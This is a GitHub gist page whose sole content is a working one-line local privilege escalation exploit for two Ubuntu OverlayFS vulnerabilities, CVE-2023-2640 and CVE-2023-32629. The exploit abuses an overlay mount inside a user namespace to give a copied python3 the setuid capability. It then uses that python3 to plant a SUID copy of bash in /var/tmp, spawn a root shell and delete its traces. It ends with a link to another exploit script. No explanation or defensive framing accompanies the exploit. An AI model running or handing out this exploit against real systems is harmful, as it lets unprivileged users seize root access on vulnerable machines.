Skip to content

Instantly share code, notes, and snippets.

@RootUp
Created November 10, 2023 20:26
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save RootUp/9c7e3470467caa68c643b7ff55fe4ad5 to your computer and use it in GitHub Desktop.
Save RootUp/9c7e3470467caa68c643b7ff55fe4ad5 to your computer and use it in GitHub Desktop.
CVE-2023-2640 and CVE-2023-32629
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash")'
# Ref - https://raw.githubusercontent.com/g1vi/CVE-2023-2640-CVE-2023-32629/main/exploit.sh
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment